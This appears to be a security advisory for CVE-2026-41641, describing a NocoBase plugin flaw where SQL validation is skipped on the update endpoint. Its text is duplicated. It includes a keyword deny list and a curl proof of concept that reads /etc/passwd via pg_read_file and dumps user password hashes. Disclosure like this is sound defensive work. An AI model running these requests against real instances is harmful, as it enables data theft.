CVE-2026-41641

NocoBase is an AI-powered no-code/low-code platform for building business applications and enterprise solutions. Prior to version 2.0.39, the checkSQL() validation function that blocks dangerous SQL keywords (e.g., pg_read_file, LOAD_FILE, dblink) is applied on the collections:create and sqlCollection:execute endpoints but is entirely missing on the sqlCollection:update endpoint. An attacker with collection management permissions can create a SQL collection with benign SQL, then update it with arbitrary SQL that bypasses all validation, and query the collection to execute the injected SQL and exfiltrate data. This issue has been patched in version 2.0.39.

NocoBase is an AI-powered no-code/low-code platform for building business applications and enterprise solutions. Prior to version 2.0.39, the checkSQL() validation function that blocks dangerous SQL keywords (e.g., pg_read_file, LOAD_FILE, dblink) is applied on the collections:create and sqlCollection:execute endpoints but is entirely missing on the sqlCollection:update endpoint. An attacker with collection management permissions can create a SQL collection with benign SQL, then update it with arbitrary SQL that bypasses all validation, and query the collection to execute the injected SQL and exfiltrate data. This issue has been patched in version 2.0.39.

Summary

The checkSQL() validation function that blocks dangerous SQL keywords (e.g., pg_read_file, LOAD_FILE, dblink) is applied on the collections:create and sqlCollection:execute endpoints but is entirely missing on the sqlCollection:update endpoint. An attacker with collection management permissions can create a SQL collection with benign SQL, then update it with arbitrary SQL that bypasses all validation, and query the collection to execute the injected SQL and exfiltrate data.

Affected component: @nocobase/plugin-collection-sql Affected versions: <= 2.0.32 (confirmed) Minimum privilege: Collection management permissions (pm.data-source-manager.collection-sql snippet)

Vulnerable Code

checkSQL is applied on create and execute

packages/plugins/@nocobase/plugin-collection-sql/src/server/resources/sql.ts

// Line 51-60 — execute action: checkSQL IS called
execute: async (ctx: Context, next: Next) => {
    const { sql } = ctx.action.params.values || {};
    try { checkSQL(sql); } catch (e) { ctx.throw(400, ctx.t(e.message)); }
    // ...
}

checkSQL is NOT applied on update

// Line 105-118 — update action: checkSQL IS NOT called
update: async (ctx: Context, next: Next) => {
    const transaction = await ctx.app.db.sequelize.transaction();
    try {
        const { upRes } = await updateCollection(ctx, transaction);
        // No checkSQL() call anywhere in this path!
        const [collection] = upRes;
        await collection.load({ transaction, resetFields: true });
        await transaction.commit();
    }
    // ...
}

The checkSQL function itself

packages/plugins/@nocobase/plugin-collection-sql/src/server/utils.ts:10-28

export const checkSQL = (sql: string) => {
  const dangerKeywords = [
    'pg_read_file', 'pg_write_file', 'pg_ls_dir', 'LOAD_FILE',
    'INTO OUTFILE', 'INTO DUMPFILE', 'dblink', 'lo_import', // ...
  ];
  sql = sql.trim().split(';').shift();
  if (!/^select/i.test(sql) && !/^with([\s\S]+)select([\s\S]+)/i.test(sql)) {
    throw new Error('Only supports SELECT statements or WITH clauses');
  }
  if (dangerKeywords.some((keyword) => sql.toLowerCase().includes(keyword.toLowerCase()))) {
    throw new Error('SQL statements contain dangerous keywords');
  }
};

PoC

TOKEN="<admin_jwt_token>"

# Step 1: Create collection with valid SQL (passes checkSQL)
curl -s http://TARGET:13000/api/collections:create \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "name": "exfil_collection",
    "sql": "SELECT 1 as id",
    "fields": [{"name": "id", "type": "integer"}],
    "template": "sql"
  }'

# Step 2: Verify checkSQL blocks dangerous SQL on create
curl -s http://TARGET:13000/api/collections:create \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"name": "blocked", "sql": "SELECT pg_read_file('\''/etc/passwd'\'')", "fields": [], "template": "sql"}'
# Returns: 400 "SQL statements contain dangerous keywords"

# Step 3: Update with dangerous SQL — bypasses checkSQL entirely
curl -s "http://TARGET:13000/api/sqlCollection:update?filterByTk=exfil_collection" \
  -X POST \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "sql": "SELECT * FROM users",
    "fields": [
      {"name": "id", "type": "integer"},
      {"name": "email", "type": "string"},
      {"name": "password", "type": "string"}
    ]
  }'
# Returns: 200 OK — no validation!

# Step 4: Query the collection to exfiltrate data
curl -s "http://TARGET:13000/api/exfil_collection:list" \
  -H "Authorization: Bearer $TOKEN"
# Returns: all rows from users table including password hashes

Impact

• Confidentiality: Arbitrary SELECT queries exfiltrate any table. Confirmed dump of the users table including password hashes.
• Integrity/Availability: Although checkSQL strips after the first…

NocoBase is an AI-powered no-code/low-code platform for building business applications and enterprise solutions. Prior to version 2.0.39, the checkSQL() validation function that blocks dangerous SQL keywords (e.g., pg_read_file, LOAD_FILE, dblink) is applied on the collections:create and sqlCollection:execute endpoints but is entirely missing on the sqlCollection:update endpoint. An attacker with collection management permissions can create a SQL collection with benign SQL, then update it with arbitrary SQL that bypasses all validation, and query the collection to execute the injected SQL and exfiltrate data. This issue has been patched in version 2.0.39.

NocoBase is an AI-powered no-code/low-code platform for building business applications and enterprise solutions. Prior to version 2.0.39, the checkSQL() validation function that blocks dangerous SQL keywords (e.g., pg_read_file, LOAD_FILE, dblink) is applied on the collections:create and sqlCollection:execute endpoints but is entirely missing on the sqlCollection:update endpoint. An attacker with collection management permissions can create a SQL collection with benign SQL, then update it with arbitrary SQL that bypasses all validation, and query the collection to execute the injected SQL and exfiltrate data. This issue has been patched in version 2.0.39.

Summary

The checkSQL() validation function that blocks dangerous SQL keywords (e.g., pg_read_file, LOAD_FILE, dblink) is applied on the collections:create and sqlCollection:execute endpoints but is entirely missing on the sqlCollection:update endpoint. An attacker with collection management permissions can create a SQL collection with benign SQL, then update it with arbitrary SQL that bypasses all validation, and query the collection to execute the injected SQL and exfiltrate data.

Affected component: @nocobase/plugin-collection-sql Affected versions: <= 2.0.32 (confirmed) Minimum privilege: Collection management permissions (pm.data-source-manager.collection-sql snippet)

Vulnerable Code

checkSQL is applied on create and execute

packages/plugins/@nocobase/plugin-collection-sql/src/server/resources/sql.ts

// Line 51-60 — execute action: checkSQL IS called
execute: async (ctx: Context, next: Next) => {
    const { sql } = ctx.action.params.values || {};
    try { checkSQL(sql); } catch (e) { ctx.throw(400, ctx.t(e.message)); }
    // ...
}

checkSQL is NOT applied on update

// Line 105-118 — update action: checkSQL IS NOT called
update: async (ctx: Context, next: Next) => {
    const transaction = await ctx.app.db.sequelize.transaction();
    try {
        const { upRes } = await updateCollection(ctx, transaction);
        // No checkSQL() call anywhere in this path!
        const [collection] = upRes;
        await collection.load({ transaction, resetFields: true });
        await transaction.commit();
    }
    // ...
}

The checkSQL function itself

packages/plugins/@nocobase/plugin-collection-sql/src/server/utils.ts:10-28

export const checkSQL = (sql: string) => {
  const dangerKeywords = [
    'pg_read_file', 'pg_write_file', 'pg_ls_dir', 'LOAD_FILE',
    'INTO OUTFILE', 'INTO DUMPFILE', 'dblink', 'lo_import', // ...
  ];
  sql = sql.trim().split(';').shift();
  if (!/^select/i.test(sql) && !/^with([\s\S]+)select([\s\S]+)/i.test(sql)) {
    throw new Error('Only supports SELECT statements or WITH clauses');
  }
  if (dangerKeywords.some((keyword) => sql.toLowerCase().includes(keyword.toLowerCase()))) {
    throw new Error('SQL statements contain dangerous keywords');
  }
};

PoC

TOKEN="<admin_jwt_token>"

# Step 1: Create collection with valid SQL (passes checkSQL)
curl -s http://TARGET:13000/api/collections:create \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "name": "exfil_collection",
    "sql": "SELECT 1 as id",
    "fields": [{"name": "id", "type": "integer"}],
    "template": "sql"
  }'

# Step 2: Verify checkSQL blocks dangerous SQL on create
curl -s http://TARGET:13000/api/collections:create \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"name": "blocked", "sql": "SELECT pg_read_file('\''/etc/passwd'\'')", "fields": [], "template": "sql"}'
# Returns: 400 "SQL statements contain dangerous keywords"

# Step 3: Update with dangerous SQL — bypasses checkSQL entirely
curl -s "http://TARGET:13000/api/sqlCollection:update?filterByTk=exfil_collection" \
  -X POST \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "sql": "SELECT * FROM users",
    "fields": [
      {"name": "id", "type": "integer"},
      {"name": "email", "type": "string"},
      {"name": "password", "type": "string"}
    ]
  }'
# Returns: 200 OK — no validation!

# Step 4: Query the collection to exfiltrate data
curl -s "http://TARGET:13000/api/exfil_collection:list" \
  -H "Authorization: Bearer $TOKEN"
# Returns: all rows from users table including password hashes

Impact

• Confidentiality: Arbitrary SELECT queries exfiltrate any table. Confirmed dump of the users table including password hashes.
• Integrity/Availability: Although checkSQL strips after the first…